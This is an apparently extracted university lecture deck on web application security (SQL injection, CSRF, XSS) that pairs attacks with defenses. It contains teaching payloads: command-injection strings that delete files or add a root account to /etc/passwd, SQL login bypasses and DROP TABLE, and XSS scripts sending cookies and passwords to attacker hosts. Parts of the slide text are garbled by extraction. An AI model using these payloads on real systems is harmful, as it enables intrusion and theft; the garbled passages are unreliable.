Referer Privacy Problems

Spring 2014
CS 155
Web Application Security
John Mitchell
Reported Web Vulnerabilities "In the Wild"
Data from aggregator and validator of NVD-reported vulnerabilities
Three top web site vulnerabilites
! SQL Injection
Browser sends malicious input to server
n  Bad input checking leads to malicious SQL query
! CSRF – Cross-site request forgery
n  Bad web site sends browser request to good web
site, using credentials of an innocent victim
! XSS – Cross-site scripting
n  Bad web site sends innocent victim a script that
steals information from an honest web site
n 
Three top web site vulnerabilites
! SQL Injection
Browser sends
malicious
to server
Uses SQL
to changeinput
meaning
of
database command
n  Bad input checking leads to malicious SQL query
! CSRF – Cross-site request forgery
n  Bad web site
sends request
to good
web site, using
Leverage
user’s session
at
victim sever
credentials of an innocent
victim who “visits” site
! XSS – Cross-site scripting
n  Bad web site
sends
innocent
Inject
malicious
scriptvictim
into a script that
steals information
fromcontext
an honest web site
trusted
n 
Command Injection
Background for SQL Injection
General code injection attacks
! Attack goal: execute arbitrary code on the server
! Example
code injection based on eval (PHP)
http://site.com/calc.php
(server side calculator)
…
$in = $_GET[‘exp'];
eval('$ans = ' . $in . ';');
…
! Attack
http://site.com/calc.php?exp=“ 10 ; system(‘rm *.*’) ”
(URL encoded)
Code injection using system()
! Example: PHP server-side code for sending email
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
! Attacker can post
http://yourdomain.com/mail.php?
[email protected] &
subject=foo < /usr/passwd; ls
OR
http://yourdomain.com/mail.php?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
SQL Injection
Database queries with PHP
(the wrong way)
! Sample PHP
$recipient = $_POST[‘recipient’];
$sql = "SELECT PersonID FROM Person WHERE
Username='$recipient'";
$rs = $db->executeQuery($sql);
! Problem
n 
What if ‘recipient’ is malicious string that
changes the meaning of the query?
Basic picture: SQL Injection
Victim Server
form
s
u
o
i
alic
m
t
s
o
1 p
2
3 receive valuable data
Attacker
unintended
SQL query
Victim SQL DB
10
CardSystems Attack
! CardSystems
n 
n 
n 
credit card payment processing company
SQL injection attack in June 2005
put out of business
! The Attack
n 
n 
n 
263,000 credit card #s stolen from database
credit card #s stored unencrypted
43 million credit card #s exposed
11
http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html
Example: buggy login page
(ASP)
set ok = execute( "SELECT * FROM Users
WHERE user=' " & form(“user”) & " '
AND
pwd=' " & form(“pwd”) & “ '” );
if not ok.EOF
login success
else fail;
Is this exploitable?
13
Web
Browser
(Client)
Enter
Username
&
Password
Web
Server
SELECT *
FROM Users
WHERE user='me'
AND pwd='1234'
Normal Query
DB
Bad input
! Suppose
user = “ ' or 1=1 -- ”
(URL encoded)
! Then scripts does:
ok = execute( SELECT …
WHERE user= ' ' or 1=1
-- … )
n 
The “--” causes rest of line to be ignored.
n 
Now ok.EOF is always false and login succeeds.
! The bad news:
easy login to many sites this way.
15
Even worse
! Suppose user =
“
′ ; DROP TABLE Users --
”
! Then script does:
ok = execute( SELECT …
WHERE user= ′ ′ ; DROP TABLE Users
…
)
! Deletes user table
n 
Similarly: attacker can add users, reset pwds, etc.
16
Even worse …
! Suppose user =
′ ; exec cmdshell
′net user badguy badpwd′ / ADD --
! Then script does:
ok = execute( SELECT …
WHERE username= ′ ′ ; exec …
)
If SQL server context runs as “sa”, attacker gets
account on DB server
17
Let’s see how the attack described in this cartoon works…
18
Preventing SQL Injection
! Never build SQL commands yourself !
n 
Use parameterized/prepared SQL
n 
Use ORM framework
PHP addslashes()
! PHP:
addslashes( “ ’ or 1 = 1 -outputs: “ \’ or 1=1 -- ”
! Unicode attack: (GBK)
”)
0x 5c → \
0x bf 27 → ¿′
! $user = 0x bf 27
0x bf 5c →
! addslashes ($user) → 0x bf 5c 27 →
! Correct implementation:
′
mysql_real_escape_string()
20
Parameterized/prepared SQL
! Builds SQL queries by properly escaping args: ′ → \′
! Example: Parameterized SQL:
n 
(ASP.NET 1.1)
Ensures SQL arguments are properly escaped.
SqlCommand cmd = new SqlCommand(
"SELECT * FROM UserTable WHERE
username = @User AND
password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request[“user”] );
cmd.Parameters.Add("@Pwd", Request[“pwd”] );
cmd.ExecuteReader();
! In PHP:
bound parameters -- similar function
21
Cross Site Request Forgery
Recall: session using cookies
Browser
Server
POST/login.
cgi
ticator
n
e
h
t
u
a
:
ie
k
Set-coo
GET…
Cookie: au
thenticato
r
response
Basic picture
Server Victim
n
1
4
User Victim
essio
s
h
s
i
l
estab
e st
u
q
e
r
ged
r
o
f
d
ie)
se n
/ cook
(w
2 v
isit s
erve
3
r (or
rece
ifram
ive m
e)
alici
ous
pag
e
Attack Server
Q: how long do you stay logged in to Gmail? Facebook? ….
24
Cross Site Request Forgery (CSRF)
! Example:
n 
User logs in to bank.com
w  Session cookie remains in browser state
n 
User visits another site containing:
<form name=F action=http://bank.com/BillPay.php>
<input name=recipient value=badguy> …
<script> document.F.submit(); </script>
n 
Browser sends user auth cookie with request
w  Transaction will be fulfilled
! Problem:
n 
cookie auth is insufficient when side effects occur
Form post with cookie
Cookie: SessionID=523FA4cd2E
User credentials
Cookieless Example: Home Router
Home router
1
c
uter
o
r
e
r
onfigu
e st
u
q
e
r
ged
r
o
f
d
n
4 se
2
User
visit s
i te
3 r
eceiv
e ma
liciou
s pag
e
Bad web site
27
Attack on Home Router
[SRJ’07]
! Fact:
n 
50% of home users have broadband router with a
default or no password
! Drive-by Pharming attack:
n 
User visits malicious site
JavaScript at site scans home network looking for
broadband router:
•  SOP allows “send only” messages
•  Detect success using onerror:
<IMG SRC=192.168.0.1 onError = do() >
n 
Once found, login to router and change DNS server
! Problem: “send-only” access sufficient to reprogram router
CSRF Defenses
! Secret Validation Token
<input type=hidden value=23a3af01b> ! Referer Validation
Referer: http://www.facebook.com/home.php ! Custom HTTP Header
X-­‐Requested-­‐By: XMLHttpRequest Secret Token Validation
! Requests include a hard-to-guess secret
Unguessability substitutes for unforgeability
! Variations
n  Session identifier
n  Session-independent token
n  Session-dependent token
n  HMAC of session identifier
n 
Secret Token Validation
Referer Validation
Referer Validation Defense
! HTTP Referer header
Referer: http://www.facebook.com/
n  Referer: http://www.attacker.com/evil.html
n  Referer:
! Lenient Referer validation
n  Doesn't work if Referer is missing
! Strict Referer validaton
n  Secure, but Referer is sometimes absent…
n 
ü
û
? Referer Privacy Problems
! Referer may leak privacy-sensitive information
http://intranet.corp.apple.com/ projects/iphone/competitors.html ! Common sources of blocking:
n 
n 
n 
n 
n 
Network stripping by the organization
Network stripping by local machine
Stripped by browser for HTTPS -> HTTP transitions
User preference in browser
Buggy user agents
! Site cannot afford to block these users
Suppression over HTTPS is low
Custom Header Defense
! XMLHttpRequest is for same-origin requests
Can use setRequestHeader within origin
! Limitations on data export format
n  No setRequestHeader equivalent
n  XHR2 has a whitelist for cross-site requests
! Issue POST requests via AJAX:
n 
! Doesn't work across domains
X-­‐Requested-­‐By: XMLHttpRequest Broader view of CSRF
! Abuse of cross-site data export feature
From user’s browser to honest server
n  Disrupts integrity of user’s session
! Why mount a CSRF attack?
n  Network connectivity
n  Read browser state
n  Write browser state
! Not just “session riding”
n 
Login CSRF
Payments Login CSRF
Payments Login CSRF
Payments Login CSRF
Payments Login CSRF
Login CSRF
Sites can redirect browser
Attack on origin/referer header
referer: http://www.site.com
referer: http://www.site.com
What if honest site sends POST to attacker.com?
Solution: origin header records redirect
CSRF Recommendations
! Login CSRF
n 
n 
Strict Referer/Origin header validation
Login forms typically submit over HTTPS, not blocked
! HTTPS sites, such as banking sites
n 
Use strict Referer/Origin validation to prevent CSRF
! Other
n 
Use Ruby-on-Rails or other framework that implements
secret token method correctly
! Origin header
n 
n 
n 
Alternative to Referer with fewer privacy problems
Send only on POST, send only necessary data
Defense against redirect-based attacks
Cross Site Scripting (XSS)
Three top web site vulnerabilites
! SQL Injection
Browser sends
malicious
inputcode
to server
Attacker’s
malicious
executed on victim server
n  Bad input checking leads to malicious SQL query
! CSRF – Cross-site request forgery
n  Bad web Attacker
site sends
request
to good
site forges
request
from web site, using
to victim
server
credentialsvictim
of anbrowser
innocent
victim
who “visits” site
! XSS – Cross-site scripting
n  Bad web siteAttacker’s
sends innocent
victim a script that
malicious code
steals information
an honest
executedfrom
on victim
browser web site
n 
Basic scenario: reflected XSS attack
si t e
b
e
w
1 visit
link
s
u
o
i
c
ali
m
e
v
i
e
2 rec
data
e
l
b
a
alu
v
d
n
e
5 s
Victim client
4
3
echo
click
user
on l
Attack Server
ink
inpu
t
Victim Server
XSS example: vulnerable site
! search field on victim.com:
n 
http://victim.com/search.php ? term = apple
! Server-side implementation of search.php:
<HTML>
<TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>
</HTML>
echo search term
into response
Bad input
!
Consider link:
(properly URL encoded)
http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
!
What if user clicks on this link?
1.  Browser goes to victim.com/search.php
2.  Victim.com returns
<HTML> Results for <script> … </script>
3.  Browser executes script:
w  Sends badguy.com cookie for victim.com
Attack Server
link
d
a
b
ets
g
r
e
s
u
www.attacker.com
http://victim.com/search.php ?
term = <script> ... </script>
Victim client
user
click
s on
victi
me
cho
link
es u
se r
www.victim.com
<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>
</html>
inpu
t
Victim Server
What is XSS?
! An XSS vulnerability is present when an
attacker can inject scripting code into pages
generated by a web application
! Methods for injecting malicious code:
n 
Reflected XSS (“type 1”)
w  the attack script is reflected back to the user as part of a
page from the victim site
n 
Stored XSS (“type 2”)
w  the attacker stores the malicious code in a resource
managed by the web application, such as a database
n 
Others, such as DOM-based attacks
Basic scenario: reflected XSS attack
ddr
a
l
i
a
Email version
em
t
c
e
l
l
1 Co
il
a
m
e
icious
l
a
m
d
2 se n
data
e
l
b
a
alu
v
d
n
e
5 s
User Victim
4
3
echo
click
user
on l
Attack Server
ink
inpu
t
Server Victim
2006 Example Vulnerability
! Attackers contacted users via email and fooled them into
!
!
accessing a particular URL hosted on the legitimate PayPal
website.
Injected code redirected PayPal visitors to a page warning users
their accounts had been compromised.
Victims were then redirected to a phishing site and prompted to
enter sensitive financial data.
Source: http://www.acunetix.com/news/paypal.htm
Adobe PDF viewer “feature”
(version <= 7.9)
! PDF documents execute JavaScript code
http://path/to/pdf/
file.pdf#whatever_name_you_want=javasc
ript:code_here
The code will be executed in the context of
the domain where the PDF files is hosted
This could be used against PDF files hosted
on the local filesystem
http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html
Here’s how the attack works:
! Attacker locates a PDF file hosted on website.com
! Attacker creates a URL pointing to the PDF, with
JavaScript Malware in the fragment portion
http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);)
! Attacker entices a victim to click on the link
! If the victim has Adobe Acrobat Reader Plugin 7.0.x or
less, confirmed in Firefox and Internet Explorer, the
JavaScript Malware executes
Note: alert is just an example. Real attacks do something worse.
And if that doesn’t bother you...
! PDF files on the local filesystem:
file:///C:/Program%20Files/Adobe/Acrobat
%207.0/Resource/
ENUtxt.pdf#blah=javascript:alert("XSS");
JavaScript Malware now runs in local context
with the ability to read local files ...
Reflected XSS attack
Attack Server
data
e
l
b
a
alu
v
d
n
e
5 s
User Victim
4
3
echo
Reflect it back
click
oSend
n lin bad stuff
k
user
inpu
Server Victim
t
Stored XSS
Attack Server
ata
d
e
l
b
lua
a
v
l
a
e
4 st
1
User Victim
2 re
que
st c o
3 re
nten
ceiv
t
em
alici
Download it ous s
crip
t
Inject
Storemalicious
bad stuff
script
Server Victim
MySpace.com
(Samy worm)
! Users can post HTML on their pages
n 
MySpace.com ensures HTML contains no
<script>, <body>, onclick, <a href=javascript://>
n 
… but can do Javascript within CSS tags:
<div style=“background:url(‘javascript:alert(1)’)”>
And can hide “javascript” as “java\nscript”
! With careful javascript hacking:
n 
n 
Samy worm infects anyone who visits an infected
MySpace page … and adds Samy as a friend.
Samy had millions of friends within 24 hours.
http://namb.la/popular/tech.html
Stored XSS using images
Suppose pic.jpg on web server contains HTML !
w  request for
http://site.com/pic.jpg
results in:
HTTP/1.1 200 OK
…
Content-Type: image/jpeg
<html> fooled ya </html>
w  IE will render this as HTML
(despite Content-Type)
•  Consider photo sharing sites that support image uploads
•  What if attacker uploads an “image” that is a script?
DOM-based XSS (no server used)
! Example page
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,do
cument.URL.length));
</SCRIPT>
</HTML>
! Works fine with this URL
http://www.example.com/welcome.html?name=Joe
! But what about this one?
http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>
Amit Klein ... XSS of the Third Kind
Defenses at server
si t e
b
e
w
1 visit
age
p
s
u
icio
l
a
m
ive
2 rece
data
e
l
b
a
alu
v
d
n
e
5 s
User Victim
4
3
echo
click
user
on l
Attack Server
ink
inpu
t
Server Victim
How to Protect Yourself (OWASP)
! The best way to protect against XSS attacks:
n 
n 
n 
Validates all headers, cookies, query strings, form fields, and
hidden fields (i.e., all parameters) against a rigorous
specification of what should be allowed.
Do not attempt to identify active content and remove, filter,
or sanitize it. There are too many types of active content
and too many ways of encoding it to get around filters for
such content.
Adopt a ‘positive’ security policy that specifies what is
allowed. ‘Negative’ or attack signature based policies are
difficult to maintain and are likely to be incomplete.
Input data validation and filtering
! Never trust client-side data
n 
Best: allow only what you expect
! Remove/encode special characters
Many encodings, special chars!
n  E.g., long (non-standard) UTF-8 encodings
n 
Output filtering / encoding
! Remove / encode (X)HTML special chars
n 
!
!
Allow only safe commands (e.g., no <script>…)
Caution: `filter evasion` tricks
n 
n 
n 
!
&lt; for <, &gt; for >, &quot for “ …
See XSS Cheat Sheet for filter evasion
E.g., if filter allows quoting (of <script> etc.), use
malformed quoting: <IMG “””><SCRIPT>alert(“XSS”)…
Or: (long) UTF-8 encode, or…
Caution: Scripts not only in <script>!
n 
Examples in a few slides
ASP.NET output filtering
! validateRequest:
n 
n 
n 
(on by default)
Crashes page if finds <script> in POST data.
Looks for hardcoded list of patterns
Can be disabled: <%@ Page validateRequest=“false" %>
Caution: Scripts not only in <script>!
! JavaScript as scheme in URI
n 
!
JavaScript On{event} attributes (handlers)
n 
!
<img src=“javascript:alert(document.cookie);”>
OnSubmit, OnError, OnLoad, …
Typical use:
n 
n 
n 
<img src=“none” OnError=“alert(document.cookie)”>
<iframe src=`https://bank.com/login` onload=`steal()`>
<form> action="logon.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src='http://www.digicrime.com/'+document.for
ms(1).login.value'+':'+
document.forms(1).password.value;" </form>
Problems with filters
! Suppose a filter removes <script
n 
Good case
w  <script src=“ ...” → src=“...”
n 
But then
w  <scr<scriptipt src=“ ...” → <script src=“ ...”
Pretty good filter
function RemoveXSS($val) {
// this prevents some character re-spacing such as <java\0script>
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements ... prevents strings like <IMG
SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A
&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', ...);
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', ...);
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) { ...}
return $val;
}
http://kallahar.com/smallprojects/php_xss_filter_function.php
But watch out for tricky cases
! Previous filter works on some input
n 
Try it at http://kallahar.com/smallprojects/
php_xss_filter_function.php
! But consider this
java&#x09;script
Blocked; &#x09 is horizontal tab
java&#x26;#x09;script → java&#x09;script
Instead of blocking this input, it is transformed to an attack
Need to loop and reapply filter to output until nothing found
Advanced anti-XSS tools
! Dynamic Data Tainting
n 
Perl taint mode
! Static Analysis
n 
Analyze Java, PHP to determine possible
flow of untrusted input
Client-side XSS defenses
n 
n 
n 
Proxy-based: analyze the HTTP traffic exchanged
between user’s web browser and the target web
server by scanning for special HTML characters
and encoding them before executing the page on
the user’s web browser
Application-level firewall: analyze browsed HTML
pages for hyperlinks that might lead to leakage of
sensitive information and stop bad requests using
a set of connection rules.
Auditing system: monitor execution of JavaScript
code and compare the operations against highlevel policies to detect malicious behavior
HttpOnly Cookies
IE6 SP1, FF2.0.0.5
(not Safari?)
Browser
GET …
HTTP Header:
Set-cookie: NAME=VALUE ;
HttpOnly
Server
•  Cookie sent over HTTP(s), but not accessible to scripts
•  cannot be read via document.cookie
•  Also blocks access from XMLHttpRequest headers
•  Helps prevent cookie theft via XSS
… but does not stop most other risks of XSS bugs.
IE XSS Filter
! What can you do at the client?
Attack Server
ata
d
e
l
b
lua
a
v
d
n
5 se
User Victim
4
3
click
on l
echo
ink
user
inpu
t
Server Victim
http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx
Complex problems in social network sites
User data
Usersupplied
application
Points to remember
! Key concepts
n 
n 
n 
n 
Whitelisting vs. blacklisting
Output encoding vs. input sanitization
Sanitizing before or after storing in database
Dynamic versus static defense techniques
! Good ideas
n 
n 
n 
n 
Static analysis (e.g. ASP.NET has support for this)
Taint tracking
Framework support
Continuous testing
! Bad ideas
n 
n 
Blacklisting
Manual sanitization
Finding vulnerabilities
Survey of Web Vulnerability Tools
Local
Remote
>$100K total retail price
Example scanner UI
Test Vectors By Category
Test Vector Percentage Distribution
Detecting Known Vulnerabilities
Vulnerabilities for
previous versions of Drupal, phpBB2, and WordPress
Good: Info leak, Session
Decent: XSS/SQLI
Poor: XCS, CSRF (low vector count?)
Vulnerability Detection
Secure development
Experimental Study
! What factors most strongly influence the
likely security of a new web site?
n 
n 
Developer training?
Developer team and commitment?
w  freelancer vs stock options in startup?
n 
n 
Programming language?
Library, development framework?
! How do we tell?
n 
Can we use automated tools to reliably
measure security in order to answer the
question above?
Approach
! Develop a web application vulnerability metric
n 
Combine reports of 4 leading commercial black
box vulnerability scanners and
! Evaluate vulnerability metric
n 
using historical benchmarks and our new sample
of applications.
! Use vulnerability metric to examine the impact
of three factors on web application security:
n 
n 
n 
provenance (developed by startup company or
freelancers),
developer security knowledge
Programming language framework
Data Collection and Analysis
! Evaluate 27 web applications
from 19 Silicon Valley startups and 8
outsourcing freelancers
n  using 5 programming languages.
n 
! Correlate vulnerability rate with
Developed by startup company or
freelancers
n  Extent of developer security knowledge
(assessed by quiz)
n  Programming language used.
n 
Comparison of scanner vulnerability
detection
Developer security self-assessment
Number of applications
Language usage in sample
Summary of Results
! Security scanners are useful but not perfect
n 
n 
n 
Tuned to current trends in web application development
Tool comparisons performed on single testbeds are not predictive
in a statistically meaningful way
Combined output of several scanners is a reasonable comparative
measure of code security, compared to other quantitative measures
! Based on scanner-based evaluation
n 
n 
n 
n 
Freelancers are more prone to introducing injection vulnerabilities
than startup developers, in a statistically meaningful way
PHP applications have statistically significant higher rates of
injection vulnerabilities than non-PHP applications; PHP applications
tend not to use frameworks
Startup developers are more knowledgeable about cryptographic
storage and same-origin policy compared to freelancers, again with
statistical significance.
Low correlation between developer security knowledge and the
vulnerability rates of their applications
Warning: don’t hire freelancers to build secure web site in PHP.
Additional solutions
Web Application Firewalls
! Help prevent some attacks we discuss today:
• 
• 
• 
• 
Cross site scripting
SQL Injection
Form field tampering
Cookie poisoning
Sample products:
Imperva
Kavado Interdo
F5 TrafficShield
Citrix NetScaler
CheckPoint Web Intel
Code checking
! Blackbox security testing services:
n 
Whitehatsec.com
! Automated blackbox testing tools:
n 
n 
n 
Cenzic, Hailstorm
Spidynamic, WebInspect
eEye, Retina
! Web application hardening tools:
n 
n 
WebSSARI [WWW’04] : based on information flow
Nguyen-Tuong [IFIP’05] : based on tainting
Summary
! SQL Injection
Bad input checking allows malicious SQL query
n  Known defenses address problem effectively
! CSRF – Cross-site request forgery
n  Forged request leveraging ongoing session
n  Can be prevented (if XSS problems fixed)
! XSS – Cross-site scripting
n  Problem stems from echoing untrusted input
n  Difficult to prevent; requires care, testing, tools, …
! Other server vulnerabilities
n  Increasing knowledge embedded in frameworks,
tools, application development recommendations
n